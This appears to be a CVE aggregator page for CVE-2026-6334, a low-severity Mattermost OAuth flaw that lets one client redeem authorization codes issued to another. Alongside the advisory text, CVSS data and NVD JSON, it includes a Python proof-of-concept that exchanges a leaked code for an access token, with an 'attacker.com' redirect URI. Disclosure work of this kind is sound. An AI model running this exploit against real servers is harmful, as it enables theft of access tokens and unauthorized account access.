CVE-2026-6334

Description

Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to enforce client identity binding during the OAuth authorization code redemption flow which allows an authenticated OAuth client to redeem authorization codes issued to a different client via a crafted token exchange request.. Mattermost Advisory ID: MMSA-2026-00570

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mattermost 11.5.x <= 11.5.1

Mattermost 10.11.x <= 10.11.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
TARGET_URL = "https://mattermost.example.com"
# Attacker's client credentials (Client B)
ATTACKER_CLIENT_ID = "attacker_client_id"
ATTACKER_CLIENT_SECRET = "attacker_client_secret"
# Authorization code issued to a different client (Client A)
LEAKED_AUTH_CODE = "leaked_authorization_code_from_client_a"

def exploit_oauth_binding():
    """
    Exploit CVE-2026-6334 by redeeming an authorization code
    issued to Client A using the credentials of Client B.
    """
    token_endpoint = f"{TARGET_URL}/oauth/token"
    
    payload = {
        'grant_type': 'authorization_code',
        'client_id': ATTACKER_CLIENT_ID,
        'client_secret': ATTACKER_CLIENT_SECRET,
        'code': LEAKED_AUTH_CODE,
        'redirect_uri': 'https://attacker.com/callback'
    }
    
    try:
        response = requests.post(token_endpoint, data=payload)
        if response.status_code == 200:
            print("[+] Exploit successful! Access token obtained:")
            print(response.json().get('access_token'))
        else:
            print(f"[-] Exploit failed. Status: {response.status_code}")
            print(response.text)
    except Exception as e:
        print(f"[Error] {e}")

if __name__ == "__main__":
    exploit_oauth_binding()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6334
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6334
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6334/
[4] VulDB https://vuldb.com/cve/CVE-2026-6334
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6334", "sourceIdentifier": "[email protected]", "published": "2026-05-18T08:16:14.313", "lastModified": "2026-05-18T17:32:38.127", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to enforce client identity binding during the OAuth authorization code redemption flow which allows an authenticated OAuth client to redeem authorization codes issued to a different client via a crafted token exchange request.. Mattermost Advisory ID: MMSA-2026-00570"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.5, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}